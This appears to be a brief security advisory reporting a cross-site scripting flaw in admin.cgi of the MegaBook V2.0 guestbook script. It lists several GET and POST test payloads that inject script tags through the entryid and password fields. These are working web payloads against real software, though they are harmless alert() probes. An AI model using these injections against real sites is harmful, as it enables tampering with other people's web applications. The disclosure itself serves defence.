The ultimate CGI Guestbook Scripts MegaBook V2.0 appears vulnerable to Cross Site Scripting, which will allow the attacker to modify the post in the guestbook. The affected scripts is admin.cgi 

URL: (http://www.(yourdomain).com/(yourcgidir)/admin.cgi) 

I have tested the script with the following query:

?action=modifypost&entryid="><script>alert('wvs-xss-magic-string-703410097');</script>

I have also tested the script with theses POST variables:

action=modifypost&entryid=66&password=<script>alert('wvs-xss-magic-string-188784308');</script>

action=modifypost&entryid=66&password='><script>alert('wvs-xss-magic-string-486624156');</script>

action=modifypost&entryid=66&password="><script>alert('wvs-xss-magic-string-1852691616');</script>

action=modifypost&entryid=66&password=><script>alert('wvs-xss-magic-string-429380114');</script>

action=modifypost&entryid=66&password=</textarea><script>alert('wvs-xss-magic-string-723975367');</script>


Yours,
SpyHat